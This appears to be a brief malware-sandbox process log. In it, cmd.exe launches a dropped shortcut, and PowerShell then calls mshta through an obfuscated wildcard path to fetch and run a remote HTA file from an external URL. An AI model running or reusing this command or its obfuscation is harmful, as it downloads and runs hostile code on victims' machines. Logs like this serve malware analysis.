cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MUNgUmaufGMARWN" C:\Users\test22\AppData\Local\Temp\drop-updater.lnk
3056powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" \W*\\\\*2\\\m*h*a*e ('http'+'s://www.redconsultora.com/campus/portfolio/relaxation.'+'hta')
2228